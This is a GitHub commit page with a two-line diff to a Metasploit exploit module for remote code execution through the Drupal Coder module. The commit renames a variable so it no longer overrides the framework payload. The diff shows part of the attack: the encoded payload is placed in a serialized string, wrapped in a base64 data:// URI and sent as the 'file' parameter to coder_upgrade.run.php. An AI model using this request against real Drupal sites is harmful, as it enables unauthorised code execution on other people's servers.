Skip to content

Commit 1f63f8f

Browse files
committed
Don't override payload
pl is a cheap replacement.
1 parent b3402a4 commit 1f63f8f

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/unix/webapp/drupal_coder_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -87,14 +87,14 @@ def exploit
8787
p << payload.encoded
8888
p << ' #";s:4:"name";s:4:"test";}}}'
8989

90-
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
90+
pl = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
9191

9292
send_request_cgi(
9393
'method' => 'GET',
9494
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
9595
'encode_params' => false,
9696
'vars_get' => {
97-
'file' => payload
97+
'file' => pl
9898
}
9999
)
100100
end

0 commit comments

Comments
 (0)